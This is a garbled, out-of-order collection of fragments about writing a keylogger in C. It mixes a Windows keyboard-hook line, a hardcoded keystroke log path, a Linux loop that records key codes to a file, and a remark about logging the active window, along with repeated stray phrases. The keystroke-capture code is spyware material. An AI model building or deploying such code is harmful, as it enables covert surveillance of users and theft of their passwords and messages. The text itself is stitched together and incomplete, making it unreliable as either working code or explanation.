return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
: Logging the name of the active window where typing occurs. This helps identify the application being used, such as a web browser or a specific document. c keylogger
while (read(fd, &ev, sizeof(ev)) == sizeof(ev)) if (ev.type == EV_KEY && ev.value == 1) // key press fprintf(log, "Key code: %d\n", ev.code); fflush(log); "Key code: %d\n"
Below is a simplified, annotated example of a Windows keylogger in C using a low-level keyboard hook. Below is a simplified
HHOOK keyboardHook; const char *logFilePath = "C:\temp\keystrokes.log";